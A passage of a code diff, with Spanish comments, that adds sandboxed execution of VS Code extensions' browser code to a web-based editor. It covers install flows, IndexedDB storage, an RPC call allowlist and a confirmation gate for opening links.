516+ const cabRes = el('div', 'sk-h', estado.q ? tx('results', { n: estado.total }) : tx('popular'));
517+ cabRes.id = 'ext-results-h';
518+ res.appendChild(cabRes);
452519 const lista = el('div', 'ext-list');
453520 lista.id = 'ext-list';
454521 const ocultas = el('div', 'muted ext-hidden');
@@ -515,8 +582,26 @@
515582 function pintaVeredictoFila(row, it, a, instalada) {
516583 const f = hechosDeManifiesto(a);
517584 const v = describe(f);
585+ row.dataset.vkind = v.kind;
518586 const sitio = row.querySelector('.ext-verdict-slot');
519587 if (!sitio) return v;
588+ // «no funciona aquí» lo desmiente el nivel 2 si su código sí corre: hablan sus líneas
589+ if (v.kind === 'code' && estado.cls.get(claveDe(it).toLowerCase())?.works) { sitio.replaceChildren(); return v; }
590+ // Trae código para el navegador y el nivel 2 aún no ha mirado: no se afirma
591+ // que no funcione, y «Instalar» sigue activo (lleva a su botón de código sin
592+ // bajar nada). Mirarlo aquí cargaría el nivel 2 con solo buscar.
593+ if (v.kind === 'code' && a.browserEntry) {
594+ sitio.replaceChildren(el('div', 'ext-verdict ext-v-code', tx('vBrowserCode')));
595+ const b = row.querySelector('.ext-install');
596+ if (b && !instalada && !b.dataset.ocupado) {
597+ rotula(b, tx('install'), tx('installNamed', { name: it.displayName }));
598+ b.className = 'primary ext-install';
599+ inerte(b, false);
600+ b.removeAttribute('aria-describedby');
601+ b.removeAttribute('title');
602+ }
603+ return v;
604+ }
520605 const bloque = bloqueVeredicto(f, v);
521606 sitio.replaceChildren(bloque);
522607 const b = row.querySelector('.ext-install');
@@ -560,16 +645,83 @@
560645 inerte(b, true);
561646 } else if (instalada) rotula(b, tx('update', { v: it.version }), tx('updateNamed', { name: it.displayName, v: it.version }));
562647 else rotula(b, tx('install'), tx('installNamed', { name: it.displayName }));
563- b.onclick = e => { e.stopPropagation(); if (!esInerte(b)) instala(it, b); };
648+ // actualizar una que corre su código la trae con su código (y su suma)
649+ b.onclick = e => { e.stopPropagation(); if (!esInerte(b)) instala(it, b, { withCode: !!instalada?.code }); };
564650 acc.appendChild(b);
565651 row.append(icono(it.icon, it.displayName), main, acc);
566652 const k = claveDe(it);
567- analiza(it).then(a => { veredictos.set(k, works(pintaVeredictoFila(row, it, a, instalada))); })
653+ // nivel 2: si ya se sabe qué funcionará (filtro o detalle), se dice en la fila
654+ const c = estado.cls.get(k.toLowerCase());
655+ if (c && m2) ponNivel2(row, it, c, instalada);
656+ // con código para el navegador, sin veredicto (null): puede funcionar con el nivel 2
657+ analiza(it).then(a => { const v = pintaVeredictoFila(row, it, a, instalada); veredictos.set(k, works(v) ? true : v.kind === 'code' && a.browserEntry ? null : false); })
568658 .catch(() => { if (!veredictos.has(k)) veredictos.set(k, null); }) // sin veredicto: el botón de siempre
569659 .finally(() => { filtraFila(row); programaPie(); });
570660 return row;
571661 }
572662
663+// ── nivel 2: qué funcionará de su código, y su botón ──
664+let m2 = null; // ../ext2/manage.js, una vez cargado
665+let conCodigo = null;
666+const codigo = () => (conCodigo ??= m2.codeInstall({ host: () => host, aviso, instala, rotula, inerte, esInerte }));
667+const ponBotonCodigo = (...a) => { if (m2) codigo().button(...a); };
668+const instalaFicheroConCodigo = async (file, opts) => { m2 ??= await gestor(); return codigo().file(file, opts); };
669+const instaladaDe = it => host.list().find(e => e.id === `${it.namespace}.${it.name}`.toLowerCase());
670+const filaDe = it => [...document.querySelectorAll('#ext-list .ext-row')].find(r => r.dataset.key === claveDe(it));
671+// Las líneas del nivel 2 en la fila (lo que funcionará) y su botón de código.
672+function ponNivel2(row, it, c, instalada = instaladaDe(it)) {
673+ if (!m2 || !c) return;
674+ const main = row.querySelector('.ext-main'), det = row.querySelector('.ext-detail');
675+ row.querySelector('.ext-x2-lines')?.remove();
676+ const lineas = el('div', 'ext-x2-lines');
677+ for (const l of m2.linesFor(c)) lineas.appendChild(el('div', l.cls, l.t));
678+ main.insertBefore(lineas, det);
679+ if (c.works && row.dataset.vkind === 'code') row.querySelector('.ext-verdict-slot')?.replaceChildren();
680+ const acc = row.querySelector('.ext-actions');
681+ if (acc) ponBotonCodigo(acc, it, c, instalada);
682+}
683+// El chip: clasifica una tanda de resultados (su manifiesto, 4 a la vez).
684+async function clasificaNivel2(items, ctl) {
685+ try {
686+ const m = m2 ??= await gestor();
687+ const [ovsx, store] = await Promise.all([import('./openvsx.js'), import('./store.js')]);
688+ await m.classifyResults(items, {
689+ ovsx, store, host, signal: ctl.signal, installedIds: new Set(host.list().map(e => e.id)),
690+ onEach: (it, c) => {
691+ if (estado.ctl !== ctl) return;
692+ estado.cls.set(claveDe(it).toLowerCase(), c);
693+ estado.checked++;
694+ const row = filaDe(it);
695+ if (row) { if (c) ponNivel2(row, it, c); filtraFila(row); }
696+ programaPie();
697+ },
698+ });
699+ } catch (e) {
700+ if (e?.name === 'AbortError' || estado.ctl !== ctl) return;
701+ // sin el nivel 2 no se puede comprobar: se enseñan sin filtrar
702+ for (const it of items) { const k = claveDe(it).toLowerCase(); if (!estado.cls.has(k)) { estado.cls.set(k, null); estado.checked++; } }
703+ for (const it of items) { const row = filaDe(it); if (row) filtraFila(row); }
704+ programaPie();
705+ }
706+}
707+// «Instalar» de una que solo trae código: no se baja; se dice y se lleva el
708+// foco a su botón de código (con el motivo si no puede correr aquí).
709+async function ofreceCodigo(it, fila) {
710+ try {
711+ m2 ??= await gestor();
712+ const k = claveDe(it).toLowerCase();
713+ if (!estado.cls.get(k)) {
714+ const ovsx = await import('./openvsx.js');
715+ const man = await ovsx.manifest(await ovsx.metadata(it.namespace, it.name, it.version));
716+ estado.cls.set(k, (await m2.describe(man, { installedIds: new Set(host.list().map(e => e.id)), host })).cls);
717+ }
718+ if (fila) ponNivel2(fila, it, estado.cls.get(k));
719+ } catch { /* sin el nivel 2: solo el aviso */ }
720+ const cod = fila?.querySelector('.ext-install-code');
721+ aviso(!cod ? tx('nothing') : esInerte(cod) ? cod.title : tx('errCodeonly'), true);
722+ (cod || fila?.querySelector('.ext-name'))?.focus();
723+}
724+
573725 async function detalle(it, det, boton) {
574726 det.hidden = !det.hidden;
575727 boton?.setAttribute('aria-expanded', String(!det.hidden));
@@ -581,7 +733,11 @@
581733 const a = await analiza(it);
582734 const f = hechosDeManifiesto(a);
583735 const v = describe(f);
584- det.replaceChildren();
736+ // nivel 2: qué funcionará de su código (se carga al desplegar un detalle)
737+ m2 ??= await gestor();
738+ const d2 = await m2.describe(await ovsx.manifest(meta), { installedIds: new Set(host.list().map(e => e.id)), host });
739+ estado.cls.set(claveDe(it).toLowerCase(), d2.cls);
740+ det.replaceChildren(...d2.lines.map(l => el('div', l.cls, l.t)));
585741 // el veredicto ya va en la fila; aquí, además, todo lo que no funcionaría
586742 if (v.missing.length && v.kind !== 'partial') det.appendChild(el('div', 'ext-v-more', tx(v.future === 'next' ? 'vMissingNext' : 'vMissingNever', { list: lista(v.missing) })));
587743 const lic = el('div', 'ext-meta muted', tx('license', { l: meta.license || tx('noLicense') }) + ' ');
@@ -595,7 +751,13 @@
595751 det.appendChild(lic);
596752 det.dataset.listo = '1';
597753 const fila = det.closest('.ext-row');
598- if (fila) pintaVeredictoFila(fila, it, a, host.list().find(e => e.id === `${it.namespace}.${it.name}`.toLowerCase()));
754+ const instalada = instaladaDe(it);
755+ if (fila) pintaVeredictoFila(fila, it, a, instalada);
756+ // nada aplicable ni código que corra: instalarla solo daría un error
757+ const inst = fila?.querySelector('.ext-install');
758+ if (!d2.cls.hasDeclarative && !d2.cls.eligible && inst && !instalada) { inerte(inst, true); inst.title = tx('nothing'); inst.className = 'ghost ext-install'; }
759+ const acc = fila?.querySelector('.ext-actions');
760+ if (acc) ponBotonCodigo(acc, it, d2.cls, instalada);
599761 } catch (e) { det.replaceChildren(el('div', 'ext-ignored', textoError(e))); }
600762 }
601763
@@ -605,15 +767,17 @@
605767 return [tx('errCodeOnly', { name: nombre }), v.verdict, ...v.lines].join(' ');
606768 }
607769
608-async function instala(src, boton) {
770+async function instala(src, boton, { withCode = false } = {}) {
609771 const esFichero = src instanceof Blob;
610772 const nombre = esFichero ? src.name : src.displayName;
611- if (!esFichero) {
773+ if (!esFichero && !withCode) {
612774 // sin veredicto todavía (red lenta): se pide ahora, y si no se vería nada, no se baja
613775 const a = await analiza(src).catch(() => null);
614776 if (a) {
615777 const fila = boton?.closest('.ext-row');
616778 const v = fila ? pintaVeredictoFila(fila, src, a, null) : describe(hechosDeManifiesto(a));
779+ // si solo trae código para el navegador, se ofrece ejecutarlo (nivel 2)
780+ if (v.button.disabled && a.browserEntry) { await ofreceCodigo(src, fila); return; }
617781 if (v.button.disabled) { aviso(textoNoInstalada(nombre, a), true); return; }
618782 }
619783 }
@@ -626,8 +790,9 @@
626790 const rec = await host.install(esFichero ? src : { namespace: src.namespace, name: src.name, version: src.version }, {
627791 onProgress: (n, total) => { if (boton && total) boton.textContent = tx('downloading', { pct: Math.round(n / total * 100) }); },
628792 confirmLarge: async mb => confirm(tx('bigConfirm', { mb })),
793+ withCode,
629794 });
630- if (boton) { delete boton.dataset.ocupado; rotula(boton, tx('installedOk'), tx('installedNamed', { name: rec.displayName || nombre })); boton.className = 'ghost ext-install'; }
795+ if (boton) { delete boton.dataset.ocupado; rotula(boton, tx('installedOk'), tx('installedNamed', { name: rec.displayName || nombre })); boton.className = 'ghost ' + (withCode ? 'ext-install-code' : 'ext-install'); }
631796 // una extensión que solo trae temas se ve al instante: se aplica el primero
632797 // (con «Deshacer» en el aviso)
633798 const soloTemas = rec.themes?.length && !rec.grammars?.length && !rec.snippets?.length && !(rec.languages || []).some(l => l.configKey && !host.builtinLanguage?.(l.id));
@@ -644,11 +809,18 @@
644809 }
645810 const nAvisos = avisosVisibles(rec.warnings).length;
646811 const primera = auto ? ' ' + tx('cThemeApplied', { name: oscuro.label }) : '';
647- aviso(tx('installedMsg', { name: rec.displayName || nombre }) + primera + (nAvisos ? ' ' + tx('warnSummary', { n: nAvisos }) + '.' : ''));
812+ aviso(tx(withCode ? 'installedCodeMsg' : 'installedMsg', { name: rec.displayName || nombre }) + primera + (nAvisos ? ' ' + tx('warnSummary', { n: nAvisos }) + '.' : ''));
648813 await pintaTarjeta(rec, { previo: auto ? temaAntes : null });
649814 pintaInstaladas();
815+ // un .vsix con temas o snippets Y código para el navegador: se ofrece
816+ // también su código (desde un fichero no hay otra forma de traerlo luego)
817+ if (esFichero && !withCode && rec.browser && !rec.code) return instalaFicheroConCodigo(src, { yaInstalada: true });
650818 } catch (e) {
651819 if (boton) { delete boton.dataset.ocupado; inerte(boton, false); rotula(boton, original.texto, original.accesible); }
820+ // un .vsix con solo código: se ofrece ejecutarlo (con su consentimiento)
821+ // (solo si trae código para el NAVEGADOR: el de Node no puede correr aquí)
822+ if (e?.code === 'codeonly' && esFichero && e.analysis?.browserEntry) return instalaFicheroConCodigo(src);
823+ if (e?.code === 'codeonly' && e.analysis?.browserEntry) { await ofreceCodigo(src, boton?.closest('.ext-row')); return; }
652824 if (e?.code === 'codeonly') {
653825 aviso(textoNoInstalada(e.displayName || nombre, e.analysis), true);
654826 if (boton) { const v = describe(hechosDeManifiesto(e.analysis)); botonSegunVeredicto(boton, v, nombre); }
@@ -785,6 +957,7 @@
785957 }
786958
787959 function claveFoco(x) {
960+ if (x?.id === 'ext-installed-h') return { heading: true };
788961 const k = x?.closest?.('[data-k]')?.dataset.k;
789962 const id = x?.closest?.('.ext-row')?.dataset.id;
790963 return k && id ? { id, k } : null;
@@ -845,12 +1018,29 @@
8451018 focoPendiente = null;
8461019 // …y los avisos que estaban desplegados siguen desplegados
8471020 const desplegados = new Set([...box.querySelectorAll('details.ext-warn[open]')].map(d => d.closest('.ext-row')?.dataset.id));
1021+ // (y los plegables de los mandos de código, con lo que se estaba escribiendo)
1022+ const abiertos = new Set([...box.querySelectorAll('.ext-x2 details[open]')].map(d => d.closest('.ext-row')?.dataset.id + '|' + d.className));
1023+ const borradores = new Map([...box.querySelectorAll('.ext-x2-json')].map(t => [t.closest('.ext-row')?.dataset.id, t.value]));
1024+ for (const b of bajas) { try { b(); } catch { /* — */ } }
1025+ bajas = [];
8481026 const lista = host.list();
1027+ // la explicación del panel cambia con la primera extensión con código (y vuelve sin ninguna)
1028+ const intro = document.querySelector('#ext-panel .ext-intro');
1029+ if (intro) intro.textContent = tx(lista.some(e => e.code) ? 'introCode' : 'intro');
8491030 const cab = el('div', 'sk-h', tx('installedH', { n: lista.length }));
8501031 cab.id = 'ext-installed-h';
8511032 cab.tabIndex = -1;
8521033 box.replaceChildren(cab);
8531034 if (!lista.length) { box.appendChild(el('p', 'muted ext-hint', tx('none'))); recuperaFoco(box, foco && { heading: true }); return; }
1035+ // con código en marcha: una línea con su estado y un botón para apagarlo todo
1036+ if (lista.some(e => e.runs && e.enabled) && m2) {
1037+ box.appendChild(m2.runtimeLine(host, { register: f => bajas.push(f), onUnblock: () => { aviso(tx('x2Unblocked')); $('ext-installed-h')?.focus(); } }));
1038+ const todo = el('button', 'ghost ext-x2-alloff', tx('allCodeOff'));
1039+ todo.type = 'button';
1040+ todo.onclick = async () => { focoPendiente = { heading: true }; for (const e of host.list()) if (e.runs) await host.setRuns(e.id, false); aviso(tx('allCodeOffDone')); };
1041+ box.appendChild(todo);
1042+ }
1043+ if (lista.some(e => e.code || e.browser) && !m2) gestor().then(m => { m2 = m; pintaInstaladas(); }).catch(() => {});
8541044 for (const e of lista.slice().reverse()) {
8551045 const row = el('div', 'ext-row installed' + (e.enabled ? '' : ' off'));
8561046 row.dataset.id = e.id;
@@ -865,7 +1055,23 @@
8651055 const ahora = lineasAhora(e, f);
8661056 if (ahora) main.appendChild(ahora);
8671057 } else main.appendChild(el('div', 'ext-now muted', tx('nOff')));
868- main.appendChild(bloqueVeredicto(f, v, { principal: false }));
1058+ // con código para el navegador, lo que hace lo cuentan sus mandos (abajo):
1059+ // el «no funciona aquí» de lo declarativo sería falso
1060+ const conMandos = (e.code || e.browser) && m2;
1061+ if (!(conMandos && v.kind === 'code')) main.appendChild(bloqueVeredicto(f, v, { principal: false }));
1062+ // mandos del código (nivel 2): ejecutar o no, estado, comandos, ajustes…
1063+ if (conMandos) {
1064+ const b = m2.codeBlock(e, {
1065+ host,
1066+ onGetCode: rec => codigo().installed(rec),
1067+ onMessage: (t, error) => aviso(typeof t === 'string' ? t : textoError(t), error),
1068+ register: f2 => bajas.push(f2),
1069+ });
1070+ for (const d of b.querySelectorAll('details')) if (abiertos.has(e.id + '|' + d.className)) d.open = true;
1071+ const ta = b.querySelector('.ext-x2-json');
1072+ if (ta && borradores.has(e.id)) ta.value = borradores.get(e.id);
1073+ main.appendChild(b);
1074+ }
8691075 const avisos = avisosVisibles(e.warnings).map(textoAviso).filter(Boolean);
8701076 if (avisos.length) {
8711077 const d = el('details', 'ext-warn');
modified web/js/ext/store.js +26 −6
@@ -6,10 +6,12 @@
66 //
77 // ext id → registro (versión, sha256, licencia, activa, contribuciones…)
88 // files "id@versión/ruta" → contenido ya parseado (tema, gramática…)
9+// "id@versión/code/ruta" → bytes del código (nivel 2, js/ext2/host2.js)
910 // meta marcas internas
1011 //
11-// La lista [{id, version, enabled}] se refleja en kv «extensions» de la base
12-// principal, que es lo que ven el inventario y la copia del espacio de trabajo.
12+// La lista [{id, version, enabled, runs}] se refleja en kv «extensions» de la
13+// base principal, que es lo que ven el inventario y la copia del espacio de
14+// trabajo.
1315 import * as maindb from '../db.js';
1416
1517 const NAME = 'elffuss-code-ext', VERSION = 1;
@@ -36,6 +38,7 @@
3638 const txDone = tx => new Promise((res, rej) => { tx.oncomplete = () => res(); tx.onerror = () => rej(tx.error); tx.onabort = () => rej(tx.error || new Error('transacción abortada')); });
3739
3840 export const fileKey = (id, version, path) => `${id}@${version}/${path}`;
41+export const codeKey = (id, version, path) => `${id}@${version}/code/${path}`;
3942
4043 export async function list() {
4144 const db = await open();
@@ -69,21 +72,38 @@
6972 await writeMirror();
7073 }
7174
72-export async function setEnabled(id, enabled) {
75+export async function getFiles(keys) {
76+ const st = (await open()).transaction('files').objectStore('files');
77+ return Promise.all(keys.map(k => done(st.get(k))));
78+}
79+
80+// Caché de cosas pequeñas de Open VSX (p. ej. lo que se sabe de un manifiesto
81+// por id@versión, para el filtro «Funciona en Code»).
82+export async function getMeta(key) { return done((await open()).transaction('meta').objectStore('meta').get('cache:' + key)); }
83+export async function setMeta(key, value) {
84+ const db = await open();
85+ const tx = db.transaction('meta', 'readwrite');
86+ tx.objectStore('meta').put(value, 'cache:' + key);
87+ await txDone(tx);
88+}
89+
90+// Cambia un registro en una transacción (`cambia(rec)` lo modifica).
91+export async function update(id, cambia, { mirror = true } = {}) {
7392 const db = await open();
7493 const tx = db.transaction('ext', 'readwrite');
7594 const rec = await done(tx.objectStore('ext').get(id));
7695 if (!rec) throw new Error('no instalada: ' + id);
77- rec.enabled = !!enabled;
96+ cambia(rec);
7897 tx.objectStore('ext').put(rec, id);
7998 await txDone(tx);
80- await writeMirror();
99+ if (mirror) await writeMirror();
81100 return rec;
82101 }
102+export const setEnabled = (id, enabled) => update(id, r => { r.enabled = !!enabled; });
83103
84104 async function writeMirror() {
85105 const recs = await list();
86- await maindb.set('kv', MIRROR, recs.map(r => ({ id: r.id, version: r.version, enabled: !!r.enabled })));
106+ await maindb.set('kv', MIRROR, recs.map(r => ({ id: r.id, version: r.version, enabled: !!r.enabled, runs: !!r.runs })));
87107 const db = await open();
88108 const tx = db.transaction('meta', 'readwrite');
89109 tx.objectStore('meta').put(true, 'mirrored');
added web/js/ext2/bridge.js +529 −0
@@ -0,0 +1,529 @@
1+// Puente del nivel 2: arranca y para el recinto donde corre el código de las
2+// extensiones, y conecta el editor de Code con él.
3+//
4+// Este módulo NO se carga en el camino por defecto: lo importa js/ext/host.js
5+// (que a su vez solo existe para quien usa extensiones) cuando hay al menos
6+// una extensión activa con su código encendido y el usuario ya vio el tamaño.
7+// Orden: manifiesto → bundle verificado (vendor.js) → relevo como texto →
8+// iframe en el otro sitio (frame.js) → boot por el MessagePort → «ready» →
9+// documentos, proveedores y comandos. Cualquier fallo lo deja todo parado.
10+import { sandboxOrigin } from './config.js';
11+import { loadManifest, loadVendor, supported, disabledByUrl, runtimeInfo, RUNTIME_KEY } from './vendor.js';
12+import { openSandbox } from './frame.js';
13+import { validate, isPlainData, PROTOCOL, LIMITS } from './protocol.js';
14+import { EditorPort } from './docs.js';
15+import { Features } from './features.js';
16+import { Commands } from './commands.js';
17+import { ExtUI, loadCss, userActive } from './ui.js';
18+import { OpenGate, installAgentGate, markTouched } from './gates.js';
19+import { Decorations } from './decorations.js';
20+import * as convert from './convert.js';
21+import { tx } from '../ext/i18n.js';
22+import './strings.js';
23+
24+const READY_TIMEOUT = 60000;
25+const CALL_TIMEOUT = 30000;
26+
27+export { supported, disabledByUrl, runtimeInfo, RUNTIME_KEY };
28+
29+// Manifiesto que ve el recinto: solo lo que el host de extensiones necesita.
30+// Fuera `main` (así no cabe un host de Node), lo declarativo que ya aplica el
31+// nivel 1 en la página (temas, gramáticas, snippets, lenguajes) y los atajos y
32+// menús (los ata la página).
33+export function sandboxManifest(manifest, installed = new Set()) {
34+ const keep = ['name', 'displayName', 'publisher', 'version', 'engines', 'browser', 'activationEvents', 'capabilities', 'l10n'];
35+ const out = {};
36+ for (const k of keep) if (manifest[k] !== undefined) out[k] = structuredClone(manifest[k]);
37+ out.extensionDependencies = (Array.isArray(manifest.extensionDependencies) ? manifest.extensionDependencies : [])
38+ .filter(d => typeof d === 'string' && installed.has(d.toLowerCase()));
39+ const c = manifest.contributes && typeof manifest.contributes === 'object' ? manifest.contributes : {};
40+ out.contributes = {};
41+ for (const k of ['commands', 'configuration', 'configurationDefaults']) if (c[k] !== undefined) out.contributes[k] = structuredClone(c[k]);
42+ // sus lenguajes los registra la página; que sigan activándola como en VS Code
43+ const langs = (Array.isArray(c.languages) ? c.languages : []).map(l => l && l.id).filter(id => typeof id === 'string' && /^[\w.+-]{1,100}$/.test(id));
44+ if (langs.length) out.activationEvents = [...new Set([...(Array.isArray(out.activationEvents) ? out.activationEvents : []), ...langs.map(id => 'onLanguage:' + id)])];
45+ return out;
46+}
47+
48+// rpc-allowlist.json: { schema: 1, actors: { Actor: ['$método', …] }, hostSetup: { … } }
49+const validActorMap = o => !!o && typeof o === 'object' && !Array.isArray(o)
50+ && Object.entries(o).every(([a, ms]) => /^MainThread\w{1,80}$/.test(a) && Array.isArray(ms) && ms.length <= 200 && ms.every(x => typeof x === 'string' && /^\$\w{1,100}$/.test(x)));
51+export function validAllowlist(j) {
52+ return !!j && j.schema === 1 && validActorMap(j.actors) && (j.hostSetup === undefined || validActorMap(j.hostSetup));
53+}
54+// lo que manda al recinto: las dos listas juntas (actor → métodos)
55+export function allowedCalls(j) {
56+ const out = {};
57+ for (const src of [j.actors, j.hostSetup || {}]) for (const [a, ms] of Object.entries(src)) out[a] = [...new Set([...(out[a] || []), ...ms])];
58+ return out;
59+}
60+
61+const listeners = new Set();
62+let session = null;
63+// Las que el recinto marcó «no soportada» (sustituyen el tecleo): no vuelven a
64+// entrar en esta pestaña. Y lo último que pidió host.js, para rehacer el recinto.
65+const refused = new Map(); // id → motivo
66+let lastSync = null;
67+// el tema de Code (claro, oscuro, alto contraste): host.js lo dice al cambiar
68+let themeKind = 'dark';
69+export function setTheme(kind) {
70+ if (!['light', 'dark', 'hc', 'hc-light'].includes(kind) || kind === themeKind) return;
71+ themeKind = kind;
72+ if (session && session.state === 'running') session.post({ t: 'theme', kind });
73+}
74+let lastError = null;
75+const emit = () => { for (const f of listeners) { try { f(); } catch { /* — */ } } };
76+export const onChange = fn => { listeners.add(fn); return () => listeners.delete(fn); };
77+
78+const refusedList = () => [...refused].map(([id, text]) => ({ id, state: 'unsupported', text, log: [], skipped: [] }));
79+export function state() {
80+ if (!session) return { state: lastError ? 'error' : 'stopped', error: lastError, extensions: refusedList(), commands: [], denials: { n: 0, top: [] } };
81+ return {
82+ state: session.state, error: session.error, violations: session.violations,
83+ denials: { n: session.denials.n, top: session.denials.top.map(x => [...x]) },
84+ ui: { dropped: { ...session.ui.dropped } },
85+ gate: { shown: session.gate.shown.map(x => ({ ...x })), opened: session.gate.opened, dropped: session.gate.dropped, blocked: session.gate.blocked },
86+ extensions: [...[...session.status.values()].filter(s => !refused.has(s.id)).map(s => ({ ...s, skipped: session.commands ? session.commands.skipped(s.id).map(x => ({ ...x })) : [] })), ...refusedList()],
87+ commands: session.commands ? session.commands.entries().map(({ id, label, hint, ext }) => ({ id, label, hint, ext })) : [],
88+ formatters: session.features ? session.features.formatters() : {},
89+ };
90+}
91+export const commands = () => (session?.commands ? session.commands.entries() : []);
92+// «Desbloquear» del panel: las extensiones vuelven a poder pedir direcciones
93+export const unblockAddresses = () => { session?.gate.unblock(); };
94+export const runCommand = (id, args) => (session ? session.runCommand(id, args) : Promise.resolve(null));
95+// foto de la superficie de la API del recinto (para las pruebas: tests/x2-surface.json)
96+export const surface = () => (session && session.state === 'running' ? session.request({ t: 'surface' }) : Promise.resolve(null));
97+// para el censo: qué registraron las extensiones, y lanzar un evento de activación
98+export const stats = () => (session && session.state === 'running' ? session.request({ t: 'stats' }) : Promise.resolve(null));
99+export const activate = event => { if (session && session.state === 'running' && typeof event === 'string' && /^[\w:.*-]{1,200}$/.test(event)) session.post({ t: 'activate', event }); };
100+
101+class Session {
102+ constructor({ monaco, readCode }) {
103+ this.monaco = monaco;
104+ this.readCode = readCode;
105+ this.state = 'starting';
106+ this.error = null;
107+ this.violations = 0;
108+ this.status = new Map(); // id → { id, state, text, log[] }
109+ this.pending = new Map(); // req → resolve
110+ this.nextReq = 1;
111+ this.added = new Map(); // id → version
112+ this.disposables = [];
113+ this.markerOwners = new Map(); // uri → Set(owner)
114+ this.contextKeys = new Map();
115+ this.denials = { n: 0, top: [] }; // llamadas que el cortafuegos de RPC rechazó
116+ this.names = new Map(); // id → nombre visible (para decir quién pide algo)
117+ this.ui = new ExtUI({ nameOf: id => this.names.get(id) || null, log: (level, text, id) => this.log(id || null, level, text) });
118+ this.gate = new OpenGate({
119+ log: (level, text) => this.log(null, level, text),
120+ // lo bloqueado no se calla: la barra de estado lo dice, y el panel lo enseña con «Desbloquear»
121+ onDropped: () => statusbar(tx('x2BlockedDropped')),
122+ onChange: () => emit(),
123+ });
124+ this.restoreAgent = null;
125+ this.readyPromise = new Promise((res, rej) => { this.onReady = res; this.onFail = rej; });
126+ }
127+
128+ post(msg, transfer) {
129+ if (!this.port) return;
130+ if (!isPlainData(msg)) { console.warn('[x2] mensaje no plano, no se manda:', msg?.t); return; }
131+ this.port.postMessage(msg, transfer || []);
132+ }
133+
134+ async start() {
135+ if (!supported()) throw Object.assign(new Error('level 2 needs Chrome or Edge in this version'), { code: 'browser' });
136+ const origin = sandboxOrigin();
137+ if (!origin) throw Object.assign(new Error('level 2 is not available on this site'), { code: 'site' });
138+ const manifest = await loadManifest();
139+ if (!manifest.enabled) throw Object.assign(new Error('level 2 is turned off'), { code: 'off' });
140+ const vendor = await loadVendor(manifest);
141+ const relayRes = await fetch(new URL('./sandbox-relay.js', import.meta.url), { cache: 'no-cache', credentials: 'same-origin' });
142+ if (!relayRes.ok) throw Object.assign(new Error('relay: HTTP ' + relayRes.status), { code: 'network' });
143+ const relay = await relayRes.text();
144+ // lista de llamadas permitidas del cortafuegos de RPC: sin ella no se arranca
145+ const rpc = await fetch(new URL('./rpc-allowlist.json', import.meta.url), { cache: 'no-cache', credentials: 'same-origin' })
146+ .then(r => (r.ok ? r.json() : null)).catch(() => null);
147+ if (!validAllowlist(rpc)) throw Object.assign(new Error('the extension sandbox\'s call list is missing or broken'), { code: 'manifest' });
148+ if (this.state === 'stopped') return;
149+ this.frame = await openSandbox(origin, { onLost: e => this.fail(e) });
150+ if (this.state === 'stopped') { this.frame.close(); return; }
151+ this.port = this.frame.port;
152+ this.port.onmessage = ev => this.receive(ev.data);
153+ const config = {
154+ protocol: PROTOCOL,
155+ lang: document.documentElement.lang || 'en',
156+ theme: themeKind,
157+ languages: this.monaco.languages.getLanguages().slice(0, 1000).map(l => ({ id: l.id, extensions: (l.extensions || []).slice(0, 50), aliases: (l.aliases || []).slice(0, 10) })),
158+ rpc: { actors: allowedCalls(rpc) },
159+ };
160+ this.post({ t: 'boot', vendor: vendor.map(f => ({ role: f.role, name: f.name, bytes: f.bytes })), relay, config }, vendor.map(f => f.bytes));
161+ let timer;
162+ await Promise.race([this.readyPromise, new Promise((_, rej) => { timer = setTimeout(() => rej(Object.assign(new Error('the extension sandbox did not start'), { code: 'timeout' })), READY_TIMEOUT); })])
163+ .finally(() => clearTimeout(timer));
164+ try { localStorage.setItem(RUNTIME_KEY, manifest.buildId); } catch { /* sin almacenamiento */ }
165+ loadCss();
166+ // ide.js crea el editor después de cargar las extensiones: se le espera
167+ this.editor = await this.waitEditor();
168+ if (this.state === 'stopped') return;
169+ // (la misma instancia de ide.js que ya usa la página: sus pestañas abiertas)
170+ this.ide = await import('../ide.js').catch(() => null);
171+ if (this.state === 'stopped') return;
172+ this.wire();
173+ this.state = 'running';
174+ emit();
175+ }
176+
177+ // el editor de la página: el de #editor (ide.js)
178+ pageEditor() {
179+ const host = document.getElementById('editor');
180+ return this.monaco.editor.getEditors().find(e => host && host.contains(e.getContainerDomNode())) || null;
181+ }
182+
183+ waitEditor(timeout = 60000) {
184+ const ya = this.pageEditor();
185+ if (ya) return Promise.resolve(ya);
186+ return new Promise((resolve, reject) => {
187+ const mira = () => { const e = this.pageEditor(); if (e) { sub.dispose(); clearTimeout(t); resolve(e); } };
188+ const sub = this.monaco.editor.onDidCreateEditor(() => setTimeout(mira, 0));
189+ const t = setTimeout(() => { sub.dispose(); reject(Object.assign(new Error('Code\'s editor is not open'), { code: 'editor' })); }, timeout);
190+ });
191+ }
192+
193+ wire() {
194+ const monaco = this.monaco;
195+ const editor = this.editor;
196+ this.docs = new EditorPort({
197+ monaco, editor, post: m => this.post(m),
198+ notify: (what, path) => statusbar(what === 'big' ? tx('x2DocBig', { path }) : tx('x2DocDiscarded')),
199+ // las pestañas que ya estaban abiertas antes de que arrancara el recinto
200+ openTabs: () => this.ide?.openTabModels?.() || [],
201+ });
202+ this.features = new Features({
203+ monaco, docs: this.docs,
204+ call: (kind, handle, model, args, token) => this.invoke(kind, handle, model, args, token),
205+ touched: model => this.touch(model),
206+ release: hs => { if (hs.length) this.post({ t: 'release', handles: hs.slice(0, 5000) }); },
207+ report: (handle, kind, why) => this.log(null, 'warn', `a ${kind} provider was not connected: ${why}`),
208+ });
209+ this.commands = new Commands({
210+ monaco, editor,
211+ run: (id, args) => this.runCommand(id, args),
212+ onReport: (id, skipped) => this.log(id, 'warn', `${skipped.length} keybinding(s) skipped: ` + skipped.map(s => `${s.key || '?'} (${s.why})`).join(', ')),
213+ });
214+ this.disposables.push(monaco.editor.registerCommand(convert.HANDLE_COMMAND, (_, handle) => this.post({ t: 'cmd.exec', req: this.nextReq++, handle, ...this.docs.activeState() })));
215+ // enlaces del editor (Cmd+clic) mientras corren extensiones: una dirección
216+ // pudo escribirla una extensión, así que pregunta como open.request
217+ // (toString(true): la dirección como está escrita, sin volver a codificarla)
218+ this.disposables.push(monaco.editor.registerLinkOpener({
219+ open: async uri => { await this.gate.request(typeof uri?.toString === 'function' ? uri.toString(true) : String(uri), { fromEditor: true }); return true; },
220+ }));
221+ this.decorations = new Decorations({ monaco, editor, docs: this.docs });
222+ // los diagnósticos de la propia página (TS, JSON, CSS, HTML), para las
223+ // extensiones que los decoran (Error Lens y similares)
224+ const pendientes = new Map(); // uri del recinto → modelo
225+ let reloj = null;
226+ const programa = model => {
227+ const uri = model && !model.isDisposed() && this.docs.uriOf(model);
